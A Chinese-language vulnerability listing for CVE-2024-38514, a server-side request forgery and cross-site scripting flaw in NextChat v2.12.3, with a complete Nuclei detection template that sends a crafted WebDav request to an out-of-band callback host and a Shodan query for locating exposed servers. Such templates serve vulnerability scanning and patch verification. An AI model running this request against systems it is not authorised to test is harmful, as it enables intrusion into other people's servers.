CVE-2024-38514: NextChat - Server-Side Request Forgery

日期: 2025-08-01 | 影响软件: NextChat | POC: 已公开

漏洞描述

NextChat v2.12.3 suffers from a Server-Side Request Forgery (SSRF) and Cross-Site Scripting vulnerability due to a lack of validation of the GET parameter on the WebDav API endpoint.

PoC代码[已公开]

id: CVE-2024-38514

info:
  name: NextChat - Server-Side Request Forgery
  author: DhiyaneshDk
  severity: high
  description: |
    NextChat v2.12.3 suffers from a Server-Side Request Forgery (SSRF) and Cross-Site Scripting vulnerability due to a lack of validation of the GET parameter on the WebDav API endpoint.
  reference:
    - https://www.tenable.com/security/research/tra-2024-23
    - https://github.com/ChatGPTNextWeb/ChatGPT-Next-Web/commit/dad122199a85c2f12277593973e1784b212adf5e
    - https://github.com/ChatGPTNextWeb/ChatGPT-Next-Web/security/advisories/GHSA-gph5-rx77-3pjg
    - https://nvd.nist.gov/vuln/detail/CVE-2024-38514
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 7.4
    cve-id: CVE-2024-38514
    cwe-id: CWE-918
    epss-score: 0.6547
    epss-percentile: 0.98444
  metadata:
    verified: true
    max-request: 1
    shodan-query: "title:NextChat,\"ChatGPT Next Web\""
  tags: cve,cve2024,ssrf,xss,chatgpt,nextchat,vkev

http:
  - raw:
      - |
        GET /api/webdav/chatgpt-next-web/backup.json?endpoint=https://webdav.yandex.com.{{interactsh-url}}/ HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "__NEXT_DATA__"
# digest: 4b0a00483046022100b83201bb5322a0feaee49bc74dd042e37154c8953f30ba44d1025d57ca0902230221009b7e3b6d290a30f0733a8c2436cc8532c18374fa7d872c470af51bff4b9ae6d8:922c64590222798bb761d5b6d8e72950

相关漏洞推荐